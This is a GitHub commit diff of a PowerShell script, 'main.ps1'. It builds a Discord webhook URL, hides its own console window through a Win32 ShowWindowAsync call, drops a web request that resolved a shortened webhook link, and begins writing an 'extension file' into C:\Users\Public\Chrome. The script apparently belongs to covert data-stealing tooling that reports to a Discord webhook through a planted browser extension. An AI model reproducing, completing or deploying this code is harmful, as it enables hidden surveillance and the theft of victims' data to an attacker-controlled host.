Update main.ps1

This commit is contained in:
egieb
2025-06-20 20:41:29 +00:00
committed by GitHub
parent 9374ef4031
commit bdbef1d035
+14 -16
View File
@@ -3,23 +3,21 @@ if ($hookurl.Length -lt 120){
$hookurl = ("https://discord.com/api/webhooks/" + "$dc") $hookurl = ("https://discord.com/api/webhooks/" + "$dc")
} }
# Hide the console # Uncomment $hide='y' below to hide the console
$Async = '[DllImport("user32.dll")] public static extern bool ShowWindowAsync(IntPtr hWnd, int nCmdShow);' # $hide='y'
$Type = Add-Type -MemberDefinition $Async -name Win32ShowWindowAsync -namespace Win32Functions -PassThru if($hide -eq 'y'){
$hwnd = (Get-Process -PID $pid).MainWindowHandle $w=(Get-Process -PID $pid).MainWindowHandle
$a='[DllImport("user32.dll")] public static extern bool ShowWindowAsync(IntPtr hWnd,int nCmdShow);'
if ($hwnd -ne [System.IntPtr]::Zero) { $t=Add-Type -M $a -Name Win32ShowWindowAsync -Names Win32Functions -Pass
$Type::ShowWindowAsync($hwnd, 0) if($w -ne [System.IntPtr]::Zero){
$t::ShowWindowAsync($w,0)
}else{
$Host.UI.RawUI.WindowTitle = 'xx'
$p=(Get-Process | Where-Object{$_.MainWindowTitle -eq 'xx'})
$w=$p.MainWindowHandle
$t::ShowWindowAsync($w,0)
}
} }
else {
$Host.UI.RawUI.WindowTitle = 'hideme'
$Proc = (Get-Process | Where-Object { $_.MainWindowTitle -eq 'hideme' })
$hwnd = $Proc.MainWindowHandle
$Type::ShowWindowAsync($hwnd, 0)
}
# Webhook shortened URL handler
$hookurl = (irm $hookurl).url
# Create the extension file # Create the extension file
$DirPath = "C:\Users\Public\Chrome" $DirPath = "C:\Users\Public\Chrome"